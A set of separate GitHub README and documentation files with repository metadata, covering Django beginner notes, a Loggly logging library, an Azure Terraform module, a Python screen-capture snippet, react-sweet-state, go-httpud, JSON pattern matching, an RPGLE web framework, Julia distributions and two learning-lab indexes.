text:
# Django

### Virtual Environment

- A virtual environment allows you to have a virtual installation of Python and packages on your computer.
  - Packages change and get updated often!
  - There are changes that break backwards compatibility
- You crate a virtual environment that contains the newer version of the package.
- Anaconda makes this easy. A virtual environment handles is included
- To use a virtual environment with conda we use these commands:
  - conda create --name myEnv django
    - Here we created an environment called "myEnv" with the latest version of Django
  - You can then activate the environment:
    - activate myEnv
    - Now, anything installed with pip or conda when this environment is activated, will only be installed for this environment
  - You can deactivate the environment
    - deactivate myEnv

### Conda commands

- conda create --name myDjangoEnv django
- conda create --name myDjangoEnv python=3.5 #to specify python version
- conda activate myDjangoEnv
- conda install django #to install django in the virtual env
- conda deactivate #To get out of virtual env

### Django Project

- A `Django Project` is a collection of applications and configurations that when combined together will make up the full web application (your complete website running with Django)
- A `Django Application` is created to perform a particular functionality for our entire web application. For ex, we could have a registration app, a polling app, comments app, etc.
  - These Django Apps can then be plugged into other Django Projects, so we can reuse them.
- When you install Django, it also installs a command line toll called:
  - django-admin
- To create a `project`, type:
  - django-admin startproject <project name>
- Cd into project. To run server, type:
  - python3 manage.py runserver
- To create a new `app`:
  - python3 manage.py startapp first_app
- Go to first_project folder, open `settings.py`
  - Add new app to INSTALLED_APPS list
  - Run server again to be sure there is no errors
- Create a new `view`:

  - Go into first_app folder and open `views.py`

  ```
  from django.http import HttpResponse

  def index(request):
    return HttpResponse("Hello World!")
  ```

- Map the `view' to the URL.py file
  - Go to first_project folder and open urls.py to add views

```
  from first_app import views

urlpatterns = [
    path('', views.index, name="index"),
    path('admin/', admin.site.urls),
]
```

#### Using the include() function from django.conf.urls

- The include() function allows us to look for a match with regular expressions and link back to our application's own urls.py file
- We will have to manually add in this urls.py file
- We add the following to the project's urls.py

```
from django.conf.urls import include
ulrpatters = [...
  path('first_app/', include('first_app.urls')),
...]
```

- This would allow us to look for any url that has the pattern: www.domainname.com/first_app/...
- If we match that pattern, the include() function basically tells Django to go look at the urls.py file inside of first_app folder

#### New Project files:

- `__init__.py`
  - This is a blank Python script that due to its special name let's Python know that this directory can be treated as a package
- `settings.py`
  - This is where we will store all our project settings
- `urls.py`
  - This is a Python script that will store all the URL patterns for our project. Basically the different pages of our web application
- `wsgi.py`
  - This is a Python script that acts as the Web Server Gateway Interface. It will later on help us deploy our web app to production
- `manage.py`
  - This is a Python script that we will use a lot. It will be associated with many commands as we build our web app

#### New App files:

- `__init__.py`
  - This is a blank Python script that due to its special name let's Python know that this directory can be treated as a package
- `admin.py`
- We can register our models here which Django will then use them with Django's admin interface.
- `app.py`
  - Here we can place application specific configurations
- `models.py`
  - Here we store the application's data models
- `tests1
  - Here we can store test functions to test our code
- `views.py`
  - This is where we have functions that handle requests and return responses
- `Migrations folder`
  - This directory stores database specific information as it relates to the models

## Templates

- The template will contain the static parts of an html page(parts that are always the same)
- Template tags have their own special syntax
- This syntax allows us to inject dynamic contento that our Django App's views will produce, effecting the final HTML
- First create a templates directory and then a subdirectory for each specific app's template
- It goes inside of your top level directory:
  - first_project/templates/first_app
- Next step is to let Django know of the templates by editing the DIR key inside of the TEMPLATES dictionary in the settings.py file
- Python's os module dynamically generate the correct file path strings, regardless of computer
- Import os and try the following:

```
print(__file__)
print(os.path.dirname(__file__))
```

- We will use this os module to feed the path to the DIR key inside of the TEMPLATES dictionary
- Once we've done that we can create an html file called index.html inside of the templates/first_app directory
- Inside this HTML file we will instert template tags(a.k.a Django Template Variables)
- These template variables will allow us to inject content into the HTML directly from Django

### Dynamic paths

- Open first_project/settings.py
- Create a new folder in first_project named templates
- Add template path to settings

```
BASE_DIR = Path(__file__).resolve().parent.parent
TEMPLATES_DIR = Path(BASE_DIR)/'templates'
print("temp direc",TEMPLATES_DIR)
```

### Static Files

- Create a new directory inside of the project called static
- Add this directory path to the project;'s settings.py file
- Add a STATIC_URL variable
- Create a directory inside of static called images to store static image files
- To check: <IP_ADDRESS>:800/static/images/pict.jpg
- Add a template tag:
  - Inside html file, we add in a few specific tags, at the top:
    - {% load staticfiles %}
  - Then insert the image with an HTML `<img src=""> `style tag using:
    - `<img src={%static "images/pic.jpg" %}>`

### More About Templates

- We can use templates to have a "base" template and inherit that template in the .html files
- Templates are also used to solve issues with relatives paths and working with variables
- Templates can also help solve issues by avoiding hard-coded URL paths
- Templates come with built-in filter capabilities so you can adjust variables on the actual individual page

#### Templates for Relative URLs

- IF we want our Django project to work on any system, It is a poor practice to use an anchor tag with an href we've passed in a harcoded path to the file
- How can we replace a hardcoded URL path in an href with a URL Template?

  - 1. With the use of URLs in our templates. For example:

  ```
  <a href="basicapp/thankyou>Thanks</a>
  #Can be changed to:
  <a href="{% url "thankyou%}>Thanks</a>

  #name='thankyou' is in the urls.py file
  ```

  - 2. Could also just directly reference the view. For example:

  ```
  <a href="basicapp/thankyou>Thanks</a>
  #Can be changed to:
  <a href="{% url'basicapp.iews.thankyou'%}">Thanks</a>
  ```

  - The suggested (and most future-proof) method to do all of this involves the urls.py file
  - Inside the urls.py file we add in the variable app_name
  - We then set this variable equal to a string that is the same as your app name

  ```
  <a href="basicapp/thankyou>Thanks</a>
  #Can be changed to:
  <a href="{% url'basicapp:thankyou'%}">Thanks</a>
  ```

  - This method requires that app_name variable to be created inside the urls.py file

#### Django Template Inheritance

- Template inheritance allows us to create a base template we can inherit from
- This idea is sometimes also known as template extending, as in extending the base.html to other html files
- The inheritance doesn't need to just be limited to one base.html file, you can extend multiple templates
- Main steps for inheritance:
  - Find repetitive parts of your project
  - Create a base template of them
  - Set the tags in the base template
  - Extend and call those tags anywhere
    Example `base.html`:

```
<link to JS, CSS, Bootstrap>
<bunch of html like navbars>
  <body>
  {% block body_block%}
  {%  endblock%}
  </body>
</More footer html>
```

Example `other.html`:

```
<!DOCTYPE html>
{% extends "basic_app/base.html"%}
{% block body_block %}
<HTML specific fo other.html>
<HTML specific for other.html>
{% endblock %}
```

#### Template Features, Filters and Custom Filters

- Django provides a ton of easy to implement template filters that allow us to effect the injection of customized code to edit information in various views/pages before displaying it to the user
- The general form for a template filter is:
  - {{ value | filter: 'paramenter'}}
  - Not all filters take in parameters
  - Many of these filters are based off of common built-in Python functions
- [documentation](https://docs.djangoproject.com/en/3.2/ref/templates/language/) for Django Templates

### Django User Uthentication

- `Users and the User Model`

  - Django has built in tools to create User Authorization Models
  - The `User` object has a few key features:
    - Username
    - Email
    - Password
    - First Name
    - Surname
  - There are also some other attributes for the `User` object, such as is_active, is_staff,, is_superuser
  - We might want to add more attributes to a user, such as their own links or a profile image
  - We can do this in our applications model.py file by creating another class that has a relationship to the `User` class
  - Example:

  ```
  from django.contrib.auth.models import User

  #models
  class UserProfileInfo(models.Model):

    #Create relationship (don't inherit from User!)
    user = modes.OneToOneField(User)

    #Add any additional attributes you want
    portfolio = models.URLField(blank=True)
    picture = models.ImageField(upload_to='profile_pics)

    def __str__(self):
    #Built-in attribute of django.contrib.auth.models.User
    return self.user.username
  ```

  - ImageField will allow us to store images to a model, typically we will keep any user uploaded content like this in the media file
  - In order to work with images with Python we will need to install the Python Imaging Library with:
    - `pip install pillow`
  - Once we've created this model we'll have to remember to register it in the admin.py file, with something like:
    - admin.site.register(UserProfileInfo)
  - Images, CSS, JS, etc. all go in the static folder of our project, with the STATIC_ROOT variable path defined inside of settings.py
  - User uploaded content will go to the media folder, with the MEDIA_ROOT
  - Next we will want to implement a Django form that the User can use to work with the websiete. This goes inside the forms.py file

  ```
  from django import forms
  from asic_app.models import UserProfileInfo

  class UserProfileInfoForm(forms.ModelForm):
    portfolio = forms.URLField(required=False)
    picture = forms.ImageField(required=False)

    class Meta(): #connects the mode to the User profile
      model = UserProfileInfo
      exclude = ('user',)
  ```

  - Set up:
    - User Model
    - Media Directory
    - Handling Images
    - User Form

- Permissions
- Groups
- `Passwords and Authentication`
  - Never store passwords as plain text
  - We will be using the default PBKDF2 algorithm with an SHA256 hash that is built-in to Django
  - We will use bcrypt and Argon2
  - In our virtual environment:
    - `pip install bcrypt`
    - `pip install django[argon2]`
    ```
    #for python3 users:
    python3 -m pip install argon2_cffi
    python3 -m pip install -U cffi pip setuptools
    ```
    - Depending on Django version we may already have these installed
  - Inside of settings.py we can pass in the list of PASSWORD_HASHERS to try in the order we want to try them.
  - [Passwords validation documentation](https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators)
- Logging In and Out

#### Login and Logout

- Creating a login
  - Setting up the login views
  - Using built-in decorators for access
  - Adding the LOGIN_URL in settings
  - Creating the login.html
  - Editing the urls.py files

### Django Deployment

- Options for deploying Django projects, follow the link for instructions clear step-by-step walkthrough of deploying on a platform:
  - [PythonAnywhere](https://help.pythonanywhere.com/pages/DeployExistingDjangoProject/)
  - [Heroku](https://devcenter.heroku.com/articles/deploying-python)
  - [AWS Elastic Beanstalk](https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/create-deploy-python-django.html)
  - [VPS](https://www.digitalocean.com/community/tutorials/how-to-deploy-a-local-django-app-to-a-vps)

repository: SandraCoburn/python-django

gha_language: Python

repo_name: SandraCoburn/python-django


text:
# Loggly #

This library wraps the [Loggly](http://www.loggly.com) cloud-based logging service.

The Loggly class automatically adds metadata to your log messages, and handles efficently sending log messages with the [Loggly Bulk Endpoint](https://www.loggly.com/docs/http-bulk-endpoint/).

By default, the Loggly class will send log messages every 15 seconds, or when it has accumulated 100 log messages (whichever occurs first). The value of these parameters can be changed using the `timeout` and `limit` constructor options (see below).

**To add this library to your project, add** `#require "Loggly.class.nut:1.1.0"` **to the top of your agent code.**

### Tags ###

Tags are a method of adding organization to your log events to aid in segmentation and filtering. Tags can be used to form [Source Groups](https://www.loggly.com/docs/source-groups/), which will help segment your data and narrow down search results. It’s also possible to search your log data for tags with a search query.

For more information about tags, visit Loggly's [Support Center](https://www.loggly.com/docs/tags/).

## Class Usage ##

### Constructor: Loggly(*customerToken[, options]*) ###

To create a new Loggly object you will need your customer token. You may also supply a table with any of the following keys to further configure the Loggly object:

| key     | default     | notes                                             |
| ------- | ----------- | ------------------------------------------------- |
| *id*      | {agentId}   | A unique ID for the device/agent                  |
| *tags*    | electricimp | A comma separated list of tags for all log events |
| *timeout* | 15          | Time between sends (in seconds)                   |
| *limit*   | 100         | Max # of logs that will be queued before sending  |
| *debug*   | true        | Enables / disables server.log'ing log messages    |

#### Example ####

```squirrel
// Bulk send logs every minute
loggly <- Loggly("<-- CUSTOMER_TOKEN -->", { "timeout": 60 });
```

## Class Methods: Logging ##

There are three methods (representing three log levels) that can be used to log messages - `log`, `warn`, and `error`. When any of the logging methods are called, the following set of metadata is added to the message:

```squirrel
{ "id": string,         // the id set in the constructor
  "level": string,      // The log level (specified by what logging method was invoked)
  "timestamp": string } // An ISO 8601 timestamp
```

All three of the logging methods can be invoked in the following ways:

### log/warn/error(*table*) ###

When a table is passed into one of the logging methods, each key/value pair will be added to the log message. If desired, the metadata can be overriden by including keys present in the metadata (i.e. *id*, *level*, *timestamp*).

In the following example, we send a message collected from the device, and override the timestamp metadata with a device-side timestamp:

```squirrel
// Log information sent from the device
device.on("data", function(data) {
  loggly.log({
    "timestamp": Loggly.ISODateTime(data.ts),
    "ssid": data.ssid,
    "rssi": data.rssi,
    "msg": data.msg
  });
});
```

### log/warn/error(*string[, ...]*) ###

A string, or a [format string](https://developer.electricimp.com/squirrel/string/format) with parameters can also be passed into the logging methods. When a string or format string is passed into the logging methods, it will be added to the log message with a key of *msg*.

```squirrel
// Log a string:
loggly.log("Hello World!");

// Log a format string:
loggly.log("%s %s", "Hello", "World!");
```

### log/warn/error(*object*) ###

Any other object passed into logging methods will be cast as a string with the `.tostring()` method and added to the log message with a key of `msg`.

```squirrel
loggly.log(123.456);
```

## Class Methods: Other ##

### len() ###

Returns the number of logs that are currently queued to send.

See *onError*()*, below, for example usage.

### onError(*callback*) ###

The *onError* handler allows you to attach an error handler (the callback) to the Loggly class. The error handler will be invoked if the Loggly class ever encounters an error while sending the logs to Loggly (note: the Loggly class will automatically retry sending the logs until successful).

The onError callback takes a single parameter: an HTTP Response table containing the *statuscode*, *body*, and *headers* (see [http.sendasync](https://developer.electricimp.com/api/httprequest/sendasync) for more information).

```squirrel
loggly <- Loggly("<-- CUSTOMER_TOKEN -->");

loggly.onError(function(resp) {
  server.error("Failed to send messages to Loggly - " + resp.body);
  server.error(loggly.len() + " messages queued for next send.");
});
```

### flush(*[callback]*) ###

This method will immediatly send any queued message to the Loggly service. An optional callback function can be passed into *flush()*; it will be invoked upon completion of the request.

The callback method takes two parameters: *error* (a string describing the error) and *response* (an [HTTP Response table](https://developer.electricimp.com/api/httprequest/sendasync)). If the request was successful, the *error* parameter will be `null`.

Typical usage of the Loggly class should not involve calling *flush()*. However, when [**server.onshutdown()**](https://developer.electricimp.com/api/server/onshutdown) is implemented, it would be a good idea to flush logs before calling [**server.restart()**](https://developer.electricimp.com/api/server/restart).

#### Example ####

```squirrel
function flushAndRestart(attempt = 0) {
  // If we've tried and failed 5 times, give up and restart
  if (attempt >= 5) {
    server.restart();
  }

  // Otherwise, try flushing the messages
  loggly.flush(function(err, resp) {
    if (err != null) {
      // If it failed, try again in 10 seconds
      imp.wakeup(10, function() {
        flushAndRestart(attempt+1);
      });
      return;
    }

    // If we sent the logs, restart
    server.restart();
  });
}

server.onshutdown(function(shutdownReasonCode) {
  // Log a shutdown message
  loggly.log({
    "msg": "Shutting Down",
    "reason": shutdownReasonCode
  });

  // Flush the loggly messages, and restart
  flushAndRestart();
});
```

### Loggly.ISODateTime(*[timestamp]*) ###

The Loggly class has a static method that can generate an ISO 8601 datetime object. The ISODateTime method has an optional parameter *timestamp*: a Unix timestamp (generated with [**time()**](https://developer.electricimp.com/squirrel/system/time)).

If an ISO 8601 datetime object is included with the key *timestamp* it will override the system timestamp generated by the Loggly class. This is particulairly useful when logging data from the device:

#### Device Code ####

```squirrel
// Reads data, sends it to the agent, then goes to sleep for 1 hr
function SenseSendAndSleep() {
  // Sense the data
  local data = senseData();

  // Add a timestamp
  data.ts <- time();

  // Send the data
  agent.send("data", data);

  // Go to sleep
  imp.onidle(function() {
    server.sleepfor(3600);
  });
}
```

#### Agent Code ####

```squirrel
device.on("data", function(data) {
  // grab and delete the timestamp
  local ts = delete data.ts;

  // Add an ISO Datetime object with the key "timestamp"
  data.timestamp <- Loggly.ISODateTime(ts);

  // Logs the data
  loggly.log(data);
});
```

## License ##

The Loggly library is licensed under the [MIT License](./LICENSE).

license: MIT

repository: electricimp/Loggly

branch_name: refs/heads/master

extension: md

gha_language: Squirrel

license_type: permissive

repo_name: electricimp/Loggly


text:
## Requirements

No requirements.

## Providers

No provider.

## Inputs

| Name | Description | Type | Default | Required |
|------|-------------|------|---------|:--------:|
| address\_prefix\_fw | The address prefixe to use for the fw subnet. | `list` | n/a | yes |
| address\_prefix\_vgw | The address prefixe to use for the vgw subnet. | `list` | n/a | yes |
| address\_space | This is a list of the ip address ranges for the vnet | `list` | n/a | yes |
| environment | Development environment for resource; prod, non-prod, shared-services | `string` | n/a | yes |
| region | Geographic Region resource will be deployed into | `string` | n/a | yes |
| tags | A map of tags to add to all resources | `map` | `{}` | no |
| vgw\_sku | (Optional) Configuration of the size and capacity of the virtual network gateway. Valid options are Basic, Standard, HighPerformance, UltraPerformance, ErGw1AZ, ErGw2AZ, ErGw3AZ, VpnGw1, VpnGw2, VpnGw3, VpnGw4,VpnGw5, VpnGw1AZ, VpnGw2AZ, VpnGw3AZ,VpnGw4AZ and VpnGw5AZ and depend on the type, vpn\_type and generation arguments. A PolicyBased gateway only supports the Basic sku. Further, the UltraPerformance sku is only supported by an ExpressRoute gateway. | `string` | `"Basic"` | no |
| vgw\_type | (Optional) The type of the Virtual Network Gateway. Valid options are Vpn or ExpressRoute. Changing the type forces a new resource to be created. | `string` | `"Vpn"` | no |
| vpn\_address\_space | (Required) The address space out of which ip addresses for vpn clients will be taken. You can provide more than one address space, e.g. in CIDR notation. | `list` |
[
  "<IP_ADDRESS>/24"
]
 | no |
| vpn\_client\_protocols | (Optional) List of the protocols supported by the vpn client. The supported values are SSTP, IkeV2 and OpenVPN. | `list` |
[
  "SSTP"
]
 | no |

## Outputs

| Name | Description |
|------|-------------|
| firewall\_id | The Resource ID of the Azure Firewall. |
| firewall\_private\_ip\_address | The private IP address of the Azure Firewall. |
| virtual\_network\_gateway\_id | The ID of the Virtual Network Gateway. |
| virtual\_network\_id | The virtual NetworkConfiguration ID. |
| virtual\_network\_name | The name of the virtual network. |
| virtual\_network\_resource\_group\_name | The name of the resource group of the virtual network. |


text:
---
title: Capture partial screen python
date: "2021-05-21T22:12:00.121Z"
tags: ["python"]
header: { type: 'icon', bgColor: '#4B8BBE', icon: 'python' }
description: How to capture partial monitor python.
---

Before you can use it, make sure you install:
```
$ pip3 install opencv-python
$ pip3 install pillow
$ pip3 install numpy
$ pip3 install mss
```

```
# pip3 install opencv-python
# pip3 install pillow
# pip3 install numpy
# pip3 install mss

import numpy as np
import cv2
from PIL import Image

import mss
import mss.tools

with mss.mss() as sct:
  # Get information of monitor 2
  monitor_number = 1
  mon = sct.monitors[monitor_number]

  # The screen part to capture
  monitor = {
    "top": mon["top"] + 100,  # 100px from the top
    "left": mon["left"] + 100,  # 100px from the left
    "width": 160,
    "height": 135,
    "mon": monitor_number,
  }

  while 1:
    sct_img = sct.grab(monitor)

    cv2.imshow('test', np.array(sct_img))

    if cv2.waitKey(25) & 0xFF == ord('q'):
      cv2.destroyAllWindows()
      break
```

repository: kevinponce/keivnponce-blog

gha_language: JavaScript

gha_license_id: MIT

repo_name: kevinponce/keivnponce-blog


text:
## Container API

### createContainer

```js
createContainer([options]);
```

This is the recommended way of creating containers, passing them as `containedBy` attribute on store creation.

##### Arguments

1. [`options`] _(Object)_: containing one or more of the following keys:

   - `displayName` _(string)_: Used by React to better identify a component. Defaults to `Container(${storeName})`

##### Returns

_(Component)_: this React component allows you to change the behaviour of child components by providing different Store instances or custom props to actions. It accept the following props:

- `isGlobal` _(bool)_: by default, Container defines a local store instance. This prop will allow child components to get data from the global store's registry instance instead

- `scope` _(string)_: this option will allow creating multiple global instances of the same store. Those instances will be automatically cleaned once all the containers pointing to the scoped version are removed from the tree. Changing a Container `scope` will: create a new Store instance, make `onInit` action run again and all child components will get the data from it.

- `...props` _(any)_: any additional prop set on the Container component is made available in the actions of child components

##### Example

Let's create a Container that initializes all theme-related stores:

```js
// theming.js
import { createContainer } from 'react-sweet-state';
export const ThemeContainer = createContainer();

// colors.js
import { ThemeContainer } from './theming';
const ColorsStore = createStore({
  // ...
  containedBy: ThemeContainer,
});
// We can also have a FontSizesStore that has the same `containedBy` value

// app.js
const UserTheme = ({ colors, sizes }) => (
  <ThemeContainer initialTheme={{ colors, sizes }}>
    <TodosList />
  </ThemeContainer>
);
```

### createContainer as override

> _Note: this API configuration provides less flexibility and safety nets than using Store's `containedBy` and `handlers`, so we recommend using this style mostly for testing/storybook purposes._

```js
createContainer(Store, [options]);
```

##### Arguments

1. `Store` _(Object)_: The store type returned from a call to `createStore`

2. [`options`] _(Object)_: containing one or more of the following keys:

   - `displayName` _(string)_: Used by React to better identify a component. Defaults to `Container(${storeName})`.

   - `onInit` _(Function)_: an action that will be triggered on container initialisation. It overrides store's `handlers.onInit` and will be triggered every time the container is mounted.

   - `onUpdate` _(Function)_: an action that will be triggered when props on a container change. It is different from store's `onUpdate` API. It overrides store's `handlers.onContainerUpdate` and it does not receive current/prev props as arguments.

   - `onCleanup` _(Function)_: an action that will be triggered after the container has been unmounted and no more consumers of the store instance are present. Useful in case you want to clean up side effects like event listeners or timers. It overrides store's `handlers.onDestroy`.

##### Example

Let's create a container that provides an initial state on tests:

```js
import { createContainer } from 'react-sweet-state';
import { ColorsStore } from './colors';

const ColorsContainer = createContainer(ColorsStore, {
  onInit:
    () =>
    ({ setState }, { initialColor }) => {
      setState({ color: initialColor });
    },
});

it('should render with right color', () => {
  const mockColor = 'white';
  const { asFragment } = render(
    <ColorsContainer initialColor={mockColor}>
      <TodosList />
    </ColorsContainer>
  );
  expect(asFragment()).toMatchSnapshot();
});
```

repository: atlassian/react-sweet-state

repo_name: atlassian/react-sweet-state


text:
# go-httpud

## Description

HTTPud is a shameless Go clone of the superb [HTTPie](https://github.com/jkbrzt/httpie)
by Jakub Roztočil, but with only a fraction of the features. Intended for
cases where a Python/pip installation of HTTPie isn't possible.

## Installation

go-httpud's `http` command can be installed with the regular `go get` command:

    go get github.com/johnsto/go-httpud/cmd/http

## Usage

Use the `http` command, e.g.:

    http get yourapihere.com

This will fetch the document, emitting the syntax-highlighted HTTP headers and
body to stdout.

## Features

Use `http --help` to view a list of options:

    Usage of http:
      --auth="": HTTP basic auth (user[:pass])
      --body=false: only emit response body
      --follow=false: follow HTTP redirects
      --form=false: send parameters as URL-encoded form
      --headers=false: only emit response headers
      --json=false: send parameters as JSON document
      --pretty="all": output style <all|color|format|none>

HTTPud uses the [go-highlight](https://github.com/johnsto/go-highlight) library
for syntax highlighting and formatting, and should work on all platforms.
Currently only CSS, HTTP, and JSON documents are supported.

repository: johnsto/go-httpud

repo_name: johnsto/go-httpud


text:
---
title: "Matching Scalar Values"
permalink: /docs/scalar
excerpt: "Validation of scalar JSON values."
last_modified_at: 2017-05-15T21:40:00+02:00
---

This section is a reference of patterns for scalar JSON values: boolean, string, number and null

{% include toc %}

## JSON Literals
Any valid JSON value can be used as a pattern to match itself. `"apple"` matches a string with value "apple", `4.2` matches number 4.2 and so on. This comes in handy when combining literals with [choice](#choice) to create enumerations: `"apple" | "orange" | "banana"`

## Any
As the name suggest, `Any` matches any JSON value of any type, including object and array.

## Boolean
As you expect, `Boolean` matches either `true` or `false`.

## String
The `String` pattern matches any JSON string. You can specify additional constraints:

| name          | value type                 | description                              |
| ------------- | -------------------------- | ---------------------------------------- |
| **minLength** | Int(min = 0)               | minimal allowed length of string         |
| **maxLength** | Int(min = 0)               | maximal allowed length of string         |
| **pattern**   | String or JS regex literal | regular expression the string must match |

For example, the following pattern matches string of length 3 to 5:

String(minLength = 3, maxLength = 5)

### Using Regular Expressions
Regular expressions can be specified through string or using JavaScript's regex literal syntax – `String(pattern = "[a-z]+")` is equivalent to `String(pattern = /[a-z]+/)`.

Only the regex literal syntax allows you to specify the "case insensitive" flag – `String(pattern = /[a-z]+/i)` matches both lower and uppercase latin letters. Other JS regex flags can't be used.

If you don't want to specify any other contstraints, you can use the regex literal directly – `/[a-z]+/i` is equivalent to `String(pattern = /[a-z]+/i)`

Regular expressions must always match the value fully. They are implicitly anchored, so that `/[a-z]+/i` is matched the same way as `/^[a-z]+$/i`

## Number
The `Number` pattern matches any JSON number. You can specify additional constraints:

| name             | value type | a JSON number n satisfies contstraint value x if |
| ---------------- | ---------- | ------------------------------------------------ |
| **min**          | Number     | n >= x                                           |
| **minExclusive** | Number     | n > x                                            |
| **max**          | Number     | n <= x                                           |
| **maxExclusive** | Number     | n < x                                            |
| **multipleOf**   | Number     | n mod x == 0                                     |

For example, the following pattern matches number in the interval `<5.5, 12.7)`:

Number(min = 5.5, maxExclusive = 12.7)

## Int
The `Int` pattern is same as `Number`, but only matches integers. You can also use the same kind of constraints as with `Number`:

| name             | value type | a JSON number n satisfies contstraint value x if |
| ---------------- | ---------- | ------------------------------------------------ |
| **min**          | Int        | n >= x                                           |
| **minExclusive** | Int        | n > x                                            |
| **max**          | Int        | n <= x                                           |
| **maxExclusive** | Int        | n < x                                            |
| **multipleOf**   | Int        | n mod x == 0                                     |

## Choice

You can combine multiple patterns using `|`. JSON value is valid if it matches any one of the patterns combined in this way.

You can use choice to define enumeration: `"apple" | "orange" | "banana"`

But you can also combine different types of patterns: `"foo" | Int(min = 0) | Boolean`

You may also want to allow null values. For example, if you accept integer or null: `Int | null`


text:
# README

## Description
A small RPGLE web framework for building web api's on the IBM i.

## Dependencies
REGEXP_INSTR
* 7.1 TR9
* 7.2 TR1

## Installation
In QShell
```
cd /
git clone ....
```

Then exit QShell and run the following CL command
```
QSYS/CRTBNDCL PGM([YOURLIB]/BUILD)
              SRCSTMF('/downloaded/location/RPGAPI/build.clle')
              DBGVIEW(*SOURCE)
```

If you cannot compile CL's from the IFS on your machine, use the following command to copy the build program to a source member. Then use the CHGPFM command to make it a CL. Then compile as normal.
```
CPYFRMSTMF FROMSTMF('/downloaded/location/RPGAPI/BUILD.CLLE')
           TOMBR('/QSYS.LIB/[YOURLIB].LIB/QCLSRC.FILE/BUILD.MBR')

CHGPFM FILE([YOURLIB]/QCLSRC) MBR(BUILD) SRCTYPE(CLLE)
```

Then you can run the build script to create the RPGAPI library, and all of the
programs, and include files.
```
CALL [YOURLIB]/BUILD PARM('/downloaded/location')
```

That's it!!! Now you are ready to write completely RPGLE web api's. Check the
Quick start guide for a quick intro.

For getting started quickly here is a small quick start guide

[Quick Start](QuickStart.md)

Here is the full documentation for the library.

[Api Documentation](ApiDocumentation.md)

repository: ITMentalist/RPGAPI

repo_name: ITMentalist/RPGAPI


text:
# [Multivariate Distributions](@id multivariates)

*Multivariate distributions* are the distributions whose variate forms are `Multivariate` (*i.e* each sample is a vector). Abstract types for multivariate distributions:

```julia
const MultivariateDistribution{S<:ValueSupport} = Distribution{Multivariate,S}

const DiscreteMultivariateDistribution   = Distribution{Multivariate, Discrete}
const ContinuousMultivariateDistribution = Distribution{Multivariate, Continuous}
```

## Common Interface

The methods listed below are implemented for each multivariate distribution, which provides a consistent interface to work with multivariate distributions.

### Computation of statistics

```@docs
length(::MultivariateDistribution)
size(::MultivariateDistribution)
eltype(::Type{MultivariateDistribution})
mean(::MultivariateDistribution)
var(::MultivariateDistribution)
cov(::MultivariateDistribution)
cor(::MultivariateDistribution)
entropy(::MultivariateDistribution)
entropy(::MultivariateDistribution, ::Real)
```

### Probability evaluation

```@docs
insupport(::MultivariateDistribution, ::AbstractArray)
pdf(::MultivariateDistribution, ::AbstractArray)
logpdf(::MultivariateDistribution, ::AbstractArray)
loglikelihood(::MultivariateDistribution, ::AbstractVector{<:Real})
```
**Note:** For multivariate distributions, the pdf value is usually very small or large, and therefore direct evaluation of the pdf may cause numerical problems. It is generally advisable to perform probability computation in log scale.

### Sampling

```@docs
rand(rng::AbstractRNG, ::MultivariateDistribution)
rand!(rng::AbstractRNG, d::MultivariateDistribution, x::AbstractArray)
```

**Note:** In addition to these common methods, each multivariate distribution has its special methods, as introduced below.

## Distributions

```@docs
Multinomial
Distributions.AbstractMvNormal
MvNormal
MvNormalCanon
MvLogNormal
Dirichlet
Product
```

## Addition Methods

### AbstractMvNormal

In addition to the methods listed in the common interface above, we also provide the following methods for all multivariate distributions under the base type `AbstractMvNormal`:

```@docs
invcov(::Distributions.AbstractMvNormal)
logdetcov(::Distributions.AbstractMvNormal)
sqmahal(::Distributions.AbstractMvNormal, ::AbstractArray)
rand(::AbstractRNG, ::Distributions.AbstractMvNormal)
minimum(::Distributions.AbstractMvNormal)
maximum(::Distributions.AbstractMvNormal)
extrema(::Distributions.AbstractMvNormal)
```

### MvLogNormal

In addition to the methods listed in the common interface above, we also provide the following methods:

```@docs
location(::MvLogNormal)
scale(::MvLogNormal)
median(::MvLogNormal)
mode(::MvLogNormal)
```

It can be necessary to calculate the parameters of the lognormal (location vector and scale matrix) from a given covariance and mean, median or mode. To that end, the following functions are provided.

```@docs
location{D<:Distributions.AbstractMvLogNormal}(::Type{D},s::Symbol,m::AbstractVector,S::AbstractMatrix)
location!{D<:Distributions.AbstractMvLogNormal}(::Type{D},s::Symbol,m::AbstractVector,S::AbstractMatrix,μ::AbstractVector)
scale{D<:Distributions.AbstractMvLogNormal}(::Type{D},s::Symbol,m::AbstractVector,S::AbstractMatrix)
scale!{D<:Distributions.AbstractMvLogNormal}(::Type{D},s::Symbol,m::AbstractVector,S::AbstractMatrix,Σ::AbstractMatrix)
params{D<:Distributions.AbstractMvLogNormal}(::Type{D},m::AbstractVector,S::AbstractMatrix)
```

## Internal Methods (for creating your own multivariate distribution)

```@docs
Distributions._logpdf(d::MultivariateDistribution, x::AbstractArray)
```

## Product distributions

```@docs
Distributions.product_distribution
```

Using `product_distribution` is advised to construct product distributions.
For some distributions, it constructs a special multivariate type.

## Index

```@index
Pages = ["multivariate.md"]
```

gha_language: Julia

gha_license_id: NOASSERTION


text:
Portfolio & DiscordJS Tutorial Website

Consists of 8 Exercises of increasing difficulty.

 Simple navigation page, opening this will guide you throughout the different exercises

 Portfolio using only HTML5

 Portfolio expanded with CSS3

 Web tutorial about DiscordJS using HTML5, CSS based on Grids and Flexbox

 Web tutorial about DiscordJS responsive web design version, works for various resolutions on PC, Mobile and Tablet

 Simple changes on our University eclass using the inspect tool

 Web tutorial about DiscordJS expanded using JavaScript

 Web tutorial about DiscordJS added a form for the user to fill, using the Constraint Validation API

Made with

HTML5

CSS

JavaScript

Constraint Validation API

repository: giannisvtls/WebDev

branch_name: refs/heads/main

repo_name: giannisvtls/WebDev


text:
# OCI Development Repository

Dan's space for lab development.   This is where the draft hands on labs will be posted prior to committing them to the Oracle Learning Library

[OCI Overview Lab](https://github.com/dankingsley001/oci-dev/tree/master/OCI_Overview_HOL)
This lab will introduce you to the Oracle Cloud Infrastructure service.  We will be creating a virtual cloud network, compute instances, and block storage.  Then we will install and configure Docker containers on the compute instance.   This lab is designed to be a simple introduction to many of the services you will use in the design of a customer solution and to familiarize you with those services.

[Class Of SE - HOL for Technical Training](https://github.com/dankingsley001/oci-dev/tree/master/Class-Of-HOL-01)
Lab for specific Class of SE Event.  4 section introductory hands on lab to accompany lecture.

[Class Of SE - HOL 2 for Technical Training](https://github.com/dankingsley001/oci-dev/tree/master/Class-Of-HOL-02)
Lab #2 for specific Class of SE Event.  OCI CLI practice exercise.

Try this on for size.

repository: jdavies/learning-library

repo_name: jdavies/learning-library


text:
